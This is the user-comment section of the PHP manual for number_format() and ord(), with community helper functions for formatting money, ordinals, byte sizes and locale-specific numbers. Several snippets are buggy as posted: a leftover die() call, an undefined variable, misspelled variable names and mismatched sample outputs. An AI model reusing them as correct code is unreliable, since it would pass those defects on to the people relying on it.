echo str_replace(" ", html_entity_decode("&nbsp;", ENT_COMPAT, "UTF-8"), $number);
?>
info at daniel-marschall dot de 22-May-2009 09:54
In my function my_number_format() [shown below] there was a bug.

If a negative number which is smaller than 1 was entered (-0,...), then the result was wrongly positive because +0 is equal to -0 (the content of $tmp[0] which was interpretet as numeric value).

Here is the corrected version:

<?php

function my_number_format($number, $dec_point, $thousands_sep)
{
    $was_neg = $number < 0; // Because +0 == -0
    $number = abs($number);

    $tmp = explode('.', $number);
    $out = number_format($tmp[0], 0, $dec_point, $thousands_sep);
    if (isset($tmp[1])) $out .= $dec_point.$tmp[1];

    if ($was_neg) $out = "-$out";

    return $out;
}

?>

Thanks to Federico Cassinelli for the bug report.

[EDIT BY danbrown AT php DOT net: The original note follows.]

Let's say we got the number $inp = 1234.56

By using

<?php
return number_format($inp, 2, ',', '.');
?>

you can get the German format 1.234,56. (Comma as decimal separator and point as thousand separator)

But I have a problem with that: I want to add commas as thousand separators and change the decimal-separator (this could also be done with str_replace), but I do not want to change the amount of fractional digits!

But since the 2nd argument of number_format is necessary to enter the 3rd and 4th argument, this cannot be done with number_format. You have to change the fractional digits with this function.

But I want that 1234.56 changes into 1.234,56 and 1234.567890123456 changes into 1.234,567890123456

So, I created following function, that doesn't change the amount of fractional digits:

<?php
function my_number_format($number, $dec_point, $thousands_sep)
{
  $tmp = explode('.', $number);
  $out = number_format($tmp[0], 0, $dec_point, $thousands_sep);
  if (isset($tmp[1])) $out .= $dec_point.$tmp[1];

  return $out;
}
?>
james at bandit dot co.nz 27-Mar-2009 06:03
Outputs a human readable number.

<?php
    #    Output easy-to-read numbers
    #    by james at bandit.co.nz
    function bd_nice_number($n) {
        // first strip any formatting;
        $n = (0+str_replace(",","",$n));

        // is this a number?
        if(!is_numeric($n)) return false;

        // now filter it;
        if($n>1000000000000) return round(($n/1000000000000),1).' trillion';
        else if($n>1000000000) return round(($n/1000000000),1).' billion';
        else if($n>1000000) return round(($n/1000000),1).' million';
        else if($n>1000) return round(($n/1000),1).' thousand';

        return number_format($n);
    }
?>

Outputs:

247,704,360 -> 247.7 million
866,965,260,000 -> 867 billion
IMSoP 18-Mar-2009 11:36
I'm not sure if this is the right place anyway, but "ben at last dot fm"'s ordinal function can be simplified further by removing the redundant "floor" (the result of floor is still a float, it's the "%" that's converting to int) and outer switch.

Note that this version also returns the number with the suffix on the end, not just the suffix.

<?php
function ordinal($num)
{
    // Special case "teenth"
    if ( ($num / 10) % 10 != 1 )
    {
        // Handle 1st, 2nd, 3rd
        switch( $num % 10 )
        {
            case 1: return $num . 'st';
            case 2: return $num . 'nd';
            case 3: return $num . 'rd';
        }
    }
    // Everything else is "nth"
    return $num . 'th';
}
?>
ben at last dot fm 27-Feb-2009 01:22
Writing a function to get English ordinals for numbers is a problem every computer science student will face. Here's my solution - nice, short and simple:

<?php
    function st($i) {
        switch( floor($i/10) % 10 ) {
            default:
                switch( $i % 10 ) {
                    case 1: return 'st';
                    case 2: return 'nd';
                    case 3: return 'rd';
                }
            case 1:
        }
        return 'th';
    }
?>
Barbara 26-Jan-2009 08:04
I was looking for a SIMPLE way to format currency and account for negative values while not losing the calculation properties of my number.  Here's my function - it's not rocket science, but maybe can help someone along the way.

<?php
function wims_currency($number) {
   if ($number < 0) {
     $print_number = "($ " . str_replace('-', '', number_format ($number, 2, ".", ",")) . ")";
    } else {
     $print_number = "$ " .  number_format ($number, 2, ".", ",") ;
   }
   return $print_number;
}
?>
Sample use:

<?php
$pur_po_total =  ($pur_po_total + $pur_item_total);
$print_pur_po_total = wims_currency($pur_po_total);
?>

Returns (for example)    $ 44,561.00 or, if a negative ($ 407,250.00)

This way, I use my 1st variable for calculations and my 2nd variable for output.  I'm sure there are better ways to do it,  but this got me back on track.
thomas at weblizards dot de 23-Jan-2009 02:43
It's not explicitly documented; number_format also rounds:

<?php
$numbers = array(0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009);
foreach ($numbers as $number)
    print $number."->".number_format($number, 2, '.', ',')."<br>";
?>

0.001->0.00
0.002->0.00
0.003->0.00
0.004->0.00
0.005->0.01
0.006->0.01
0.007->0.01
0.008->0.01
0.009->0.01
nospam at nospam dot com 02-Dec-2008 11:08
Simple function to show money as only dollars if no cents, but will show 2 decimals if cents exist.

The 'cents' flag can force to never or always show 2 decimals

<?php

// formats money to a whole number or with 2 decimals; includes a dollar sign in front
function formatMoney($number, $cents = 1) { // cents: 0=never, 1=if needed, 2=always
  if (is_numeric($number)) { // a number
    if (!$number) { // zero
      $money = ($cents == 2 ? '0.00' : '0'); // output zero
    } else { // value
      if (floor($number) == $number) { // whole number
        $money = number_format($number, ($cents == 2 ? 2 : 0)); // format
      } else { // cents
        $money = number_format(round($number, 2), ($cents == 0 ? 0 : 2)); // format
      } // integer or decimal
    } // value
    return '$'.$money;
  } // numeric
} // formatMoney

$a = array(1, 1234, 1.5, 1.234, 2.345, 2.001, 2.100, '1.000', '1.2345', '12345', 0, '0.00');

// show cents if needed ($cents=1)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 1));
1 = $1
1234 = $1,234
1.5 = $1.50
1.234 = $1.23
2.345 = $2.35
2.001 = $2.00
2.1 = $2.10
1.000 = $1
1.2345 = $1.23
12345 = $12,345
0 = $0
0.00 = $0

// never show cents ($cents=0)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 0));
1 = $1
1234 = $1,234
1.5 = $2
1.234 = $1
2.345 = $2
2.001 = $2
2.1 = $2
1.000 = $1
1.2345 = $1
12345 = $12,345
0 = $0
0.00 = $0

// always show cents ($cents=2)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 2));
1 = $1.00
1234 = $1,234.00
1.5 = $1.50
1.234 = $1.23
2.345 = $2.35
2.001 = $2.00
2.1 = $2.10
1.000 = $1.00
1.2345 = $1.23
12345 = $12,345.00
0 = $0.00
0.00 = $0.00

?>

Cheers :)

And remember to always contribute custom functions if they might be useful to the rest of us or future versions of the php language.
samuelpeixoto at gmail dot com 21-Nov-2008 02:05
Exemplo: Example:

<?php
$number = 1234567.896;
echo '1: '.number_format($number, 2, ',', '').'<br>';
echo '2: '.number_format($number, 2, '.', '').'<br>';
echo '3: '.number_format($number, 2, ',', '.').'<br>';
echo '4: '.number_format($number, 2, '.', ',').'<br>';
echo '5: '.number_format($number, 2, ',', ' ').'<br>';
echo '6: '.number_format($number, 2, ',', "'").'<br>';
echo '7: '.number_format($number, 2, '', '').'<br>';
?>

Resultado: Result:

 1: 1234567,90   -> Decimal separado por ,
 2: 1234567.90   -> Decimal separado por .
 3: 1.234.567,90 -> Moeda Brasil, Alemanha
 4: 1,234,567.90 -> Inglês, USA
 5: 1 234 567,90 -> França
 6: 1'234'567,90 -> Suíça
 7: 123456790    -> Sem decimal
isapoetra at gmail dot com 15-Jun-2008 03:53
here is the code to convert number to Indonesian text, this code has limitation as is number_format function. sorry for this.
/*
* Created : Iwan Sapoetra - Jun 13, 2008
* Project : Web
* Package : cgaf
*
*/
function terbilang( $num ,$dec=4){
    $stext = array(
        "Nol",
        "Satu",
        "Dua",
        "Tiga",
        "Empat",
        "Lima",
        "Enam",
        "Tujuh",
        "Delapan",
        "Sembilan",
        "Sepuluh",
        "Sebelas"
    );
    $say  = array(
        "Ribu",
        "Juta",
        "Milyar",
        "Triliun",
        "Biliun", // remember limitation of float
        "--apaan---" ///setelah biliun namanya apa?
    );
    $w = "";

    if ($num <0 ) {
        $w  = "Minus ";
        //make positive
        $num *= -1;
    }

    $snum = number_format($num,$dec,",",".");
    die($snum);
    $strnum =  explode(".",substr($snum,0,strrpos($snum,",")));
    //parse decimalnya
    $koma = substr($snum,strrpos($snum,",")+1);

    $isone = substr($num,0,1)  ==1;
    if (count($strnum)==1) {
        $num = $strnum[0];
        switch (strlen($num)) {
            case 1:
            case 2:
                if (!isset($stext[$strnum[0]])){
                    if($num<19){
                        $w .=$stext[substr($num,1)]." Belas";
                    }else{
                        $w .= $stext[substr($num,0,1)]." Puluh ".
                            (intval(substr($num,1))==0 ? "" : $stext[substr($num,1)]);
                    }
                }else{
                    $w .= $stext[$strnum[0]];
                }
                break;
            case 3:
                $w .=  ($isone ? "Seratus" : terbilang(substr($num,0,1)) .
                    " Ratus").
                    " ".(intval(substr($num,1))==0 ? "" : terbilang(substr($num,1)));
                break;
            case 4:
                $w .=  ($isone ? "Seribu" : terbilang(substr($num,0,1)) .
                    " Ribu").
                    " ".(intval(substr($num,1))==0 ? "" : terbilang(substr($num,1)));
                break;
            default:
                break;
        }
    }else{
        $text = $say[count($strnum)-2];
        $w = ($isone && strlen($strnum[0])==1 && count($strnum) <=3? "Se".strtolower($text) : terbilang($strnum[0]).' '.$text);
        array_shift($strnum);
        $i =count($strnum)-2;
        foreach ($strnum as $k=>$v) {
            if (intval($v)) {
                $w.= ' '.terbilang($v).' '.($i >=0 ? $say[$i] : "");
            }
            $i--;
        }
    }
    $w = trim($w);
    if ($dec = intval($koma)) {
        $w .= " Koma ". terbilang($koma);
    }
    return trim($w);
}
//example
echo terbilang(999999999999)."\n";
/**
 * result : Sembilan Ratus Sembilan Puluh Sembilan Milyar Sembilan Ratus Sembilan Puluh Sembilan Juta Sembilan Ratus Sembilan Puluh Sembilan Ribu Sembilan Ratus Sembilan Puluh Sembilan
 */
echo terbilang(9999999999999999);
/**
 * todo : fix this bug pleasese
 * problem : number_format(9999999999999999) <--- 10.000.000.000.000.000,0000
 * Result : Sepuluh Biliun
 */
gabrielu at gmail dot com 08-May-2008 06:54
Using the number_format I'm having some unexpected results.  30% of 14.95 (14.95 * .3) = 4.485.  Now 4.485 rounded to two decimal places should give me 4.49.

Example:
<?php
echo number_format(14.95 * .3, 2, '.', '') . "\n";
echo number_format(4.485, 2, '.', '') . "\n";
?>

Unexpected Results:
4.48
4.49
www.produkte24.com 08-Jan-2008 09:28
I have to verify price data from several formats, eg:
- 12.345,67 (German)
- 12,345.67 (English)
- 12 345,67 (French)
- 12'345,67 (Swiss)

Here is a quick function which helps me out of all this format mess, but please not the I only check for:
- positive values
- max 2 digits on the right side (.12)

function mk_price_to_float($price){
    $price = trim($price);
    if(preg_match("~^([0-9]+|(?:(?:[0-9]{1,3}([.,' ]))+[0-9]{3})+)(([.,])[0-9]{1,2})?$~", $price, $r)){
        if(!empty($r['2'])){
            $pre = preg_replace("~[".$r['2']."]~", "", $r['1']);
        }else{
            $pre = $r['1'];
        }
        if(!empty($r['4'])){
            $post = ".".preg_replace("~[".$r['4']."]~", "", $r['3']);
        }else{
            $post = false;
        }
        $form_price = $pre.$post;
        return $form_price;
    }
    return false;
}

This code is used at http://www.produkte24.com/ and http://www.who-sells-it.com/ and works like a charm.
uliciadrian01 at yahoo dot com 06-Oct-2007 11:34
A simple funtion to format american dollars.

<?php
function formatMoney($money) {
    if($money<1) {
        $money='¢'.$money*100;
    }
    else {
        $dollars=intval($money);
        $cents=$money-$dollars;
        $cents=$cents*100;
        $money='$'.$dollars.' and ¢'.$cents;
    }
    return $money;
}
echo formatmoney('52.342');
?>
This will output: "   $52 and ¢34.2  ".
eb1024 at gmail dot com 12-Aug-2007 07:38
To address the problems number_format has when dealing with big numbers I've created my own Number_Format method, it acts the same way as number_format and takes the same arguments but deals with numbers as strings solving the problems above referred.

(The other methods are available at http://www.alixaxel.com/wordpress/2007/05/19/php-math-library/)

function Number_Format($number, $decimal_precision = 0, $decimals_separator = '.', $thousands_separator = ',')
{
if ($this->Is_Negative($number))
{
    $negative = true;

    $number = str_replace('-', '', $number);
}

$number = explode('.', str_replace(' ', '', $number));

$number[0] = str_split(strrev($number[0]), 3);

$total_segments = count($number[0]);

for ($i = 0; $i < $total_segments; $i++)
{
    $number[0][$i] = strrev($number[0][$i]);
}

$number[0] = implode($thousands_separator, array_reverse($number[0]));

if ($negative === true)
{
    $number[0] = '-' . $number[0];
}

if (!empty($number[1]))
{
    $number[1] = $this->Round($number[1], $decimal_precision);
}

$number = implode($decimals_separator, $number);

return $number;
}

I hope this is useful for someone!
user at example dot net 16-Jul-2007 04:52
The following function converts a string into Float or Integer while taking the given or locale number format into account.

<?php

    function strtonumber( $str, $dec_point=null, $thousands_sep=null )
    {
        if( is_null($dec_point) || is_null($thousands_sep) ) {
            $locale = localeconv();
            if( is_null($dec_point) ) {
                $dec_point = $locale['decimal_point'];
            }
            if( is_null($thousands_sep) ) {
                $thousands_sep = $locale['thousands_sep'];
            }
        }
        $number = (float) str_replace($dec_point, '.', str_replace($thousands_sep, '', $str));
        if( $number == (int) $number ) {
            return (int) $number;
        } else {
            return $number;
        }
    }

?>
alx at inbox dot lv 15-May-2007 11:14
enjoy the PHP!
<?php
function FormatPrice($price) {
    $price = preg_replace("/[^0-9\.]/", "", str_replace(',','.',$price));
    if (substr($price,-3,1)=='.') {
        $sents = '.'.substr($price,-2);
        $price = substr($price,0,strlen($price)-3);
    } elseif (substr($price,-2,1)=='.') {
        $sents = '.'.substr($price,-1);
        $price = substr($price,0,strlen($price)-2);
    } else {
        $sents = '.00';
    }
    $price = preg_replace("/[^0-9]/", "", $price);
    return number_format($price.$sents,2,'.','');
}
?>
ted at qtis dot co dot nz 08-Feb-2007 12:38
I use the following to get around the negative zero problem:

<?php
function currency_format($amount, $precision = 2, $use_commas = true, $show_currency_symbol = false, $parentheses_for_negative_amounts = false)
{
    /*
    **    An improvement to number_format.  Mainly to get rid of the annoying behaviour of negative zero amounts.
    */
    $amount = (float) $amount;
    // Get rid of negative zero
    $zero = round(0, $precision);
    if (round($amount, $precision) == $zero) {
        $amount = $zero;
    }

    if ($use_commas) {
        if ($parentheses_for_negative_amounts && ($amount < 0)) {
            $amount = '('.number_format(abs($amount), $precision).')';
        }
        else {
            $amount = number_format($amount, $precision);
        }
    }
    else {
        if ($parentheses_for_negative_amounts && ($amount < 0)) {
            $amount = '('.round(abs($amount), $precision).')';
        }
        else {
            $amount = round($amount, $precision);
        }
    }

    if ($show_currency_symbol) {
        $amount = '$'.$amount;  // Change this to use the organization's country's symbol in the future
    }
    return $amount;
}
?>
zulisse at email dot it 06-Feb-2007 11:27
simpler function to convert a number in bytes, kilobytes....

<?php

function bytes($a) {
    $unim = array("B","KB","MB","GB","TB","PB");
    $c = 0;
    while ($a>=1024) {
        $c++;
        $a = $a/1024;
    }
    return number_format($a,($c ? 2 : 0),",",".")." ".$unim[$c];
}

?>

you may also add others units over PeraBytes when the hard disks will reach 1024 PB :)
webmaster at WWW.ELLESSEWEB.NET 24-Nov-2006 03:51
This is a simple and useful function to convert a byte number in a KB  or MB:

<?
function filesize_format ($bytes) {
  $bytes=(float)$bytes;
  if ($bytes<1024){
  $numero=number_format($bytes, 0, ',', '.')." Byte";
  return $numero;
  }
  if ($bytes<1048576){
      $numero=number_format($bytes/1024, 2, ',', '.')." KByte";
  return $numero;
  }
  if ($bytes>=1048576){
      $numero=number_format($bytes/1048576, 2, ',', '.')." MByte";
  return $numero;
  }
}
?>
giovanni dot cappellini at gmail dot com 26-Oct-2006 04:31
About the function of j-a-n at gmx dot de: it's useful, but the argument of the function is $number while the logic of the function requires it to be $in.
j-a-n at gmx dot de 10-Aug-2006 07:04
This function formats an decimal number to a String.
But it does'n use an fixed count of decimals but calculates the needed count of decimals.

<?
function formatNumber( $number, $decimals=2, $dec_point=".", $thousands_sep=",") {
    $nachkomma = abs($in - floor($in));
    $strnachkomma = number_format($nachkomma , $decimals, ".", "");

    for ($i = 1; $i <= $decimals; $i++) {
        if (substr($strnachkomma, ($i * -1), 1) != "0") {
            break;
        }
    }

    return number_format($in, ($decimals - $i +1), $dec_point, $thousands_sep);
}
?>
Example:

formatNumber( 100.00 );
--> 100
formatNumber( 100.50 );
--> 100.5
formatNumber( 100.1234 );
--> 100.12
formatNumber( 100.12, 4 );
--> 100.12
formatNumber( 100.12345, 4 );
--> 100.1234
04-Jun-2006 09:55
The modification to number_format below does what I actually want it to do, with currency, for example. I want it to show $1.40 and not $1.4 or $1.400 - except in the rare case where I have $1.435 for something, in which case I *don't* want it to round. The ugliness below serves my purpose.

function nof($number,$decimals) {
if (number_format($number,$decimals,'.',',') != $number) {
        return $number;
} else {
        return number_format($number,$decimals,'.',',');
        }
}
rudie at jouwmoeder dot nl 22-May-2006 11:30
number_format is pretty fast. It's much slower than calculation though:
<?php

$start = microtime(true);

echo "<pre>";
for ($i=0;$i<100000;$i++)
{
    echo number_format(microtime(true)-$start,25)."\n";
}
echo "<hr />Parsetime: ".(microtime(true)-$start);

?>
This takes 1.03 seconds all the time. Without the -$start in the number_format cmd, it takes exactly as long (I ran it about 20 times).
The simple calculation inside number_format takes relatively no time. Defining the number before entering it into number_format also gives no change:
{
    $num = microtime(true)-$start;
    echo number_format($num,25)."\n";
}

Which concludes it takes about .01 sec to do a thousand number_format.
If you'd do the same routine without the number_format, it'd take .75 seconds -> number_format very fast!
mikesabatino at gmail dot com 01-Mar-2006 04:34
<?php
# Function to represent a number like '2nd', '10th', '101st' etc
function text_number($n)
{
    # Array holding the teen numbers. If the last 2 numbers of $n are in this array, then we'll add 'th' to the end of $n
    $teen_array = array(11, 12, 13, 14, 15, 16, 17, 18, 19);

    # Array holding all the single digit numbers. If the last number of $n, or if $n itself, is a key in this array, then we'll add that key's value to the end of $n
    $single_array = array(1 => 'st', 2 => 'nd', 3 => 'rd', 4 => 'th', 5 => 'th', 6 => 'th', 7 => 'th', 8 => 'th', 9 => 'th', 0 => 'th');

    # Store the last 2 digits of $n in order to check if it's a teen number.
    $if_teen = substr($n, -2, 2);

    # Store the last digit of $n in order to check if it's a teen number. If $n is a single digit, $single will simply equal $n.
    $single = substr($n, -1, 1);

    # If $if_teen is in array $teen_array, store $n with 'th' concantenated onto the end of it into $new_n
    if ( in_array($if_teen, $teen_array) )
    {
        $new_n = $n . 'th';
    }
    # $n is not a teen, so concant the appropriate value of it's $single_array key onto the end of $n and save it into $new_n
    elseif ( $single_array[$single] )
    {
        $new_n = $n . $single_array[$single];
    }

    # Return new
    return $new_n;
}
?>
MarcM 21-Feb-2006 07:03
For Zero fill - just use the sprintf() function

$pr_id = 1;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 001
-----------------

$pr_id = 10;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 010
-----------------

You can change %03d to %04d, etc.
Jeroen de Bruijn [NL] 02-Oct-2005 12:02
If you want to display a number ending with ,- (like 200,-) when there are no decimal characters and display the decimals when there are decimal characters i use:

function DisplayDouble($value)
  {
  list($whole, $decimals) = split ('[.,]', $value, 2);
  if (intval($decimals) > 0)
    return number_format($value,2,".",",");
  else
    return number_format($value,0,".",",") .",-";
  }
marc dot vanwoerkom at fernuni-hagen dot de 14-Jul-2005 03:53
See also the documentation for localeconv, which will provide values for decimal point and thousands separator from the C standard library.

Of course localeconv features many more locale information, like indicating to put the negative sign behind the value for some locale settings which can't be used to customize present number_format.
venimus777 at yahoo dot com 08-Jun-2005 02:25
You could use the following regular expression to divide
a number into parts:

$1-number without fractal part
$2-fractal part
$3-first 2 digits of the fractal part
$4-rest of the fractal part

the regex removes any leading and trailing symbols and leading zeros. It doesnt validate the number, so 12 41 is considered to be correct input!

english notation:
/^.*?[0]*([\d\s]+)(([\.][\d]{0,2})([\d]*))?.*?$/

french notation:
/^.*?[0]*([\d\s]+)(([\,][\d]{0,2})([\d]*))?.*?$/

<?php
// truncate the fractal part up to 2 digits of an "english number":
$number = '01,234.50789';
$trunc = preg_replace(
    '/^.*?[0]*([\d\,]+)(([\.][\d]{0,2})([\d]*))?.*?$/',
    '$1$3',
    $number
);
echo $trunc;
?>

Outputs:
1,234.50

$number='e00012 41.100001e-4fasfd';
would output:
12 41.10
woodynadobhar at hotmail dot com 17-May-2005 06:04
What do you do if some of your numbers have decimal places, and some don't?  You can switch between functions, but if you're building it in a loop, that's not a good solution.  Instead, we have the same as below, with a slight change:

function number_format_unlimited_precision($number,$decimal = '.'){
    $broken_number = explode($decimal,$number);
    if($broken_number[1]==0){
        return number_format($broken_number[0]);
    }else{
        return number_format($broken_number[0]).$decimal.$broken_number[1];
    };
};
stm555 at hotmail dot com 27-Apr-2005 05:54
I ran across an issue where I wanted to keep the entered precision of a real value, without arbitrarily rounding off what the user had submitted.

I figured it out with a quick explode on the number before formatting. I could then format either side of the decimal.

<?php
      function number_format_unlimited_precision($number,$decimal = '.')
      {
           $broken_number = explode($decimal,$number);
           return number_format($broken_number[0]).$decimal.$broken_number[1];
      }
?>
mike at phpeeb dot com 02-Apr-2005 10:13
Since number_format returns a string, you must perform all mathmatical functions on the number before applying number_format:

<?
$total = 100;
$total = number_format($total, 2);
$shipping = 20.00;
$grand_total = $total + $shipping;

echo number_format($grand_total, 2);

/* The above will return 21.00 because $total is now a string, and no longer an integer or float. Since a string will have a value of 1,  the addition of the two will return 21 and not 120. */

$total = 100;
$shipping = 20.00;
$grand_total = $total + $shipping;

echo number_format($grand_total, 2);

/* This works, and will return 120.00 as intended */

?>
php at mijav dot dk 31-Mar-2005 03:25
A bug was issued that -0,00 is invalid output from number_format(), but the bug was rejected since the number "-0.0000000000000000001E-999 is about -0". And the developer felt this was correct output.

Please beware of negative numbers close to zero, as they might produce this unusable (and in my opinion incorrect/off-description) output.
keyg at auralplanet dot com 23-Nov-2004 03:56
if you want &nbsp; as a separator and use windows charset this piece of code may help:

<?php
$number=number_format($number,2,'.',chr(0xA0));
?>
brandonprudent at yahoo dot com 10-Oct-2004 08:52
To convert numbers to thier textual representations, you can use an adapted version of the Number::Spell Perl module. The PHP conversion can be found here: http://pear.php.net/package/Numbers_Words
GeekPrices Dot Com 07-Oct-2004 02:57
this also works as well

$number = "29346.99"; //value
echo "$" .number_format($number, 2, '.', ',');

produces $29,346.99
Svein Tjonndal (sveint at yahoo dot com) 15-Sep-2004 04:18
If you use space as a separator, it will break on that space in HTML tables...

Furthermore, number_format doesn't like '&nbsp;' as a fourth parameter. I wrote the following function to display the numbers in an HTML table.

  function numberfix($number)
  {
    $number = number_format($number,0,","," ");
    return str_replace(" ", "&nbsp;", $number);
  }

For use in:
<table><tr><td><?php echo $number; ?></td></tr></table>
drew at zitnay dot com 17-Aug-2004 08:17
A more reliable and concise way of doing what S. Rahmel was trying to do below is as follows:

<?php
$field_inhalt = str_replace(array(".", ","), array("", "."), $field_inhalt);
?>

The str_replace() call will first replace all dots with blanks, and then replace all commas with dots.  That way, it doesn't break down when you try a number over one million (i.e. 1.010.453,21).

Drew
S. Rahmel 11-Mar-2004 11:47
if you converted a number to a German format with number_format() and want to save it in mySQL, you first have to change the number format back to an English format.

For example
10.453,21 >>>> 10453.21

Here is an example how to do this:

    $field_array=explode(".", $field_inhalt);
    $field_inhalt=$field_array[0].$field_array[1];
    $foeld_array=explode(",", $field_inhalt);
    $field_inhalt=$field_array[0].".".$feld_array[1];
    $field_inhalt=sprintf($field_inhalt, 2);

$field_inhalt is the variable of the actual number you want to change to the english format.
chandu at chandu dot org 08-Mar-2004 02:29
People here in India are more used to counting money in Lakhs & Crores .. so here is the code for formatting the commas with thousands for the first time and then with hundred multiples from there after.

Ex: 1234567  ->  12,34,567

<?php

function makecomma($input)
{
    // This function is written by some anonymous person - I got it from Google
    if(strlen($input)<=2)
    { return $input; }
    $length=substr($input,0,strlen($input)-2);
    $formatted_input = makecomma($length).",".substr($input,-2);
    return $formatted_input;
}

function formatInIndianStyle($num){
    // This is my function
    $pos = strpos((string)$num, ".");
    if ($pos === false) { $decimalpart="00";}
    else { $decimalpart= substr($num, $pos+1, 2); $num = substr($num,0,$pos); }

    if(strlen($num)>3 & strlen($num) <= 12){
                $last3digits = substr($num, -3 );
                $numexceptlastdigits = substr($num, 0, -3 );
                $formatted = makecomma($numexceptlastdigits);
                $stringtoreturn = $formatted.",".$last3digits.".".$decimalpart ;
    }elseif(strlen($num)<=3){
                $stringtoreturn = $num.".".$decimalpart ;
    }elseif(strlen($num)>12){
                $stringtoreturn = number_format($num, 2);
    }

    if(substr($stringtoreturn,0,2)=="-,"){$stringtoreturn = "-".substr($stringtoreturn,2 );}

    return $stringtoreturn;
}

$num = 1234567;
echo  formatInIndianStyle($num);

?>
cruzf_AT_fibertel.com.ar 07-Nov-2003 08:03
You could add padding zeros like this:

<?
$number="129";
$number=sprintf("%08d",$number);
?>
sgj at dr dot com 18-May-2003 03:04
Just an observation:
The number_format rounds the value of the variable.

$val1 = 1.233;
$val2 = 1.235;
$val3 = 1.237;

echo number_format($val1,2,",","."); // returns: 1,23
echo number_format($val2,2,",","."); // returns: 1,24
echo number_format($val3,2,",","."); // returns: 1,24
Theo Diem 24-Mar-2003 10:45
formatting numbers may be more easy if u use number_format function.

I also wrote this :
function something($number)
{
    $locale = localeconv();
    return number_format($number,
       $locale['frac_digits'],
        $locale['decimal_point'],
        $locale['thousands_sep']);
}

hope this helps =)
[]'s
andrew at crucible dot co dot nz 05-Jan-2002 01:56
Remember that number_format returns a string, so you shouldn't run a number_format on a variable that's already a product of number_format (it will only take the first token of the string)...

eg. echo number_format("123,456.00", 2);
produces: 123.00
sctemplarknight at hotmail dot com 12-Dec-2001 10:27
number_format($number,$precision,".","") should be used when setting the value of form elements because if you read the number into a double upon submission, it will only store digits before the comma.
<p>
ie. <input type="text" value="<?php echo(number_format(2.5343,2,".","")">


Return ASCII value of character

  • « number_format
  • parse_str »
  • PHP Manual
  • String Functions
  • Return ASCII value of character

ord

(PHP 4, PHP 5)

ord — Return ASCII value of character

Description

int ord ( string $string )

Returns the ASCII value of the first character of string.

This function complements chr().

Parameters

string

A character.

Return Values

Returns the ASCII value as an integer.

Examples

Example #1 ord() example

<?php
$str = "\n";
if (ord($str) == 10) {
    echo "The first character of \$str is a line feed.\n";
}
?>

See Also

  • chr() - Return a specific character
  • An » ASCII-table

User Contributed Notes

rowan dot collins at cwtdigital dot com 12-Jun-2013 03:28
Regarding character sets, and whether or not this is "ASCII". Firstly, there is no such thing as "8-bit ASCII", so if it were ASCII it would only ever return integers up to 127. 8-bit ASCII-compatible encodings include the ISO 8859 family of encodings, which map various common characters to the values from 128 to 255. UTF-8 is also designed so that characters representable in 7-bit ASCII are coded the same; byte values higher than 127 in a UTF-8 string represent the beginning of a multi-byte character.

In fact, like most of PHP's string functions, this function isn't doing anything to do with character encoding at all - it is just interpreting a binary byte from a string as an unsigned integer. That is, ord(chr(200)) will always return 200, but what character chr(200) *means* will vary depending on what character encoding it is *interpreted* as part of (e.g. during display).

A technically correct description would be "Returns an integer representation of the first byte of a string, from 0 to 255. For single-byte encodings such as (7-bit) ASCII and the ISO 8859 family, this will correspond to the first character, and will be the position of that character in the encoding's mapping table. For multi-byte encodings, such as UTF-8 or UTF-16, the byte may not represent a complete character."

The link to asciitable.com should also be replaced by one which explains what character encoding it is displaying, as "Extended ASCII" is an ambiguous and misleading name.
arglanir+phpnet at gmail dot com 24-Aug-2012 12:06
As ord() doesn't work with utf-8, and if you do not have access to mb_* functions, the following function will work well:
<?php
function ordutf8($string, &$offset) {
    $code = ord(substr($string, $offset,1));
    if ($code >= 128) {        //otherwise 0xxxxxxx
        if ($code < 224) $bytesnumber = 2;                //110xxxxx
        else if ($code < 240) $bytesnumber = 3;        //1110xxxx
        else if ($code < 248) $bytesnumber = 4;    //11110xxx
        $codetemp = $code - 192 - ($bytesnumber > 2 ? 32 : 0) - ($bytesnumber > 3 ? 16 : 0);
        for ($i = 2; $i <= $bytesnumber; $i++) {
            $offset ++;
            $code2 = ord(substr($string, $offset, 1)) - 128;        //10xxxxxx
            $codetemp = $codetemp*64 + $code2;
        }
        $code = $codetemp;
    }
    $offset += 1;
    if ($offset >= strlen($string)) $offset = -1;
    return $code;
}
?>
$offset is a reference, as it is not easy to split a utf-8 char-by-char. Useful to iterate on a string:
<?php
$text = "abcàêß€abc";
$offset = 0;
while ($offset >= 0) {
    echo $offset.": ".ordutf8($text, $offset)."\n";
}
/* returns:
0: 97
1: 98
2: 99
3: 224
5: 234
7: 223
9: 8364
12: 97
13: 98
14: 99
*/
?>
Feel free to adapt my code to fit your needs.
marc at kryn dot org 14-Aug-2012 09:56
Since this function is not utf-8/unicode ready, you can use following code to get the hex or dec representation of a character.

<?php
mb_internal_encoding("UTF-8");
$string = '↗Զ';
$char = mb_substr($string, 0, 1);
var_dump(bin2hex($char)); //hex
var_dump(hexdec(bin2hex($char))); //decimal
?>

returns:

string(6) "e28697"
int(14845591)
xB1N4RYx 28-Jun-2012 09:49
return the chars as a sql char() string

<?php
function AsciiToInt($char){
$success = "";
    if(strlen($char) == 1)
        return "char(".ord($char).")";
    else{
        for($i = 0; $i < strlen($char); $i++){
            if($i == strlen($char) - 1)
                $success = $success.ord($char[$i]);
            else
                $success = $success.ord($char[$i]).",";
        }
        return "char(".$success.")";
    }
}
echo AsciiToInt("<br>");//outputs char(60,98,114,62)
?>
znaeff at mail dot ru 06-Oct-2011 06:36
I've found that variant with
unpack('N', mb_convert_encoding($c, 'UCS-4BE', 'UTF-8'));
is VERY-VERY slow.
Remember this when process strings longer than 1K.
Anonymous 05-Apr-2011 02:49
i need put utf8 hungarian "abc" into html id attribute, but id not contain non-ascii chars (like á, ő, ű), and not to begin a number.

<?php

function utfCharToNumber($char) {
    $i = 0;
    $number = '';
    while (isset($char{$i})) {
        $number.= ord($char{$i});
        ++$i;
        }
    return $number;
    }

// example use
foreach (array('a','A','b','B','c','C','e','é','É', 'ó','Ó','ö','Ö','ő','Ő','ú') as $d) {
    echo $d,': ',utfCharToNumber($d),"\n";
    }
?>

output:
a: 97
A: 65
b: 98
B: 66
c: 99
C: 67
e: 101
é: 195169
É: 195137
ó: 195179
Ó: 195147
ö: 195182
Ö: 195150
ő: 197145
Ő: 197144
ú: 195186

